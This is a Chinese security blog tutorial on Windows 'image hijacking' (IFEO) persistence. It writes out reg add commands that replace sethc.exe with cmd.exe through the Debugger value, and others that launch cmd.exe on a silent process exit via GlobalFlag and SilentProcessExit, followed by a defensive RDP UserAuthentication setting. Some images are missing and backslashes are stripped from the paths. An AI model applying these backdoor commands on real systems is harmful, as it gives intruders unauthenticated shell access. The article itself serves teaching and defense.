0x01 前言
“映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。
下面呢,我们聊一聊如何打造不一样“映像劫持”后门。
0x02 实验环境
目标机-Windows 7(192.168.43.94)
攻击机-Kali Linux (192.168.43.9)
0x03 传统“映像劫持”Shift后门
传统“映像劫持”,当用户双击对应的程序后,操作系统就会给外壳程序(例如”explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的”dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到”劫持”的虚假程序。简单点说,当你打开的是程序A,而运行的却是程序B。
大家一定都知道映像劫持后门,在以下注册表中的sethc.exe项添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:windowssystem32cmd.exe,如图:
IFEO注册表项:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /t REG_SZ /d "C:windowssystem32cmd.exe"
0x04 如何打造不一样的“映像劫持”后门呢?
与上文对比,不一样的“映像劫持”后门是怎样的呢?0x03中所讲述的传统“映像劫持”后门是修改IFEO中的“debugger”键值,用来替换原有程序的执行。而不一样的“映像劫持”后门,实现的效果是:程序A静默退出结束后,会执行程序B。
怀揣着0x04的目标我们开始筹备。在网上收集资料时发现, Image File Execution Options下可以设置以下值项,其中制,文章地址:
0x05 来看一看它的原理
那么,我们只需要需改对应的注册表即可:
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitsethc.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitsethc.exe" /v MonitorProcess /t REG_SZ /d "C:windowssystem32cmd.exe"
0x06 接下来,看下最终效果
0x07 如何“破”这种权限维持手法
(1) 流量方面:
随后,三次握手建立连接,因此当我们看到异常请求或连接时可进行防御措施。
(2) 系统配置方面:
翻译:
0:说明是进行远程桌面前不需要用户身份验证。 1:说明是进行远程桌面前需要进行用户身份验证。
那么,当我们将该参数设置为1时则可防止黑客利用远程桌面界面键入Shift从而达到防御效果,可以直接执行以下命令修改UserAuthentication注册表值,我们看下效果:
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v UserAuthentication /t REG_DWORD /d 1 /f
发现我们必须密码输入正确才能弹出远程桌面。
最后,大家可以明白一个道理“不知攻焉知防”,攻击者通过改变UserAuthentication参数方便控制,我们也可以通过它提高防御。
0x08 参考文章
https://blog.csdn.net/johnsonblog/article/details/8165861
http://download.microsoft.com/download/A/6/A/A6AC035D-DA3F-4F0C-ADA4-37C8E5D34E3D/setup/WinSDKDebuggingTools_amd64/dbg_amd64.msi
https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
本文作者:贝塔安全实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/136617.html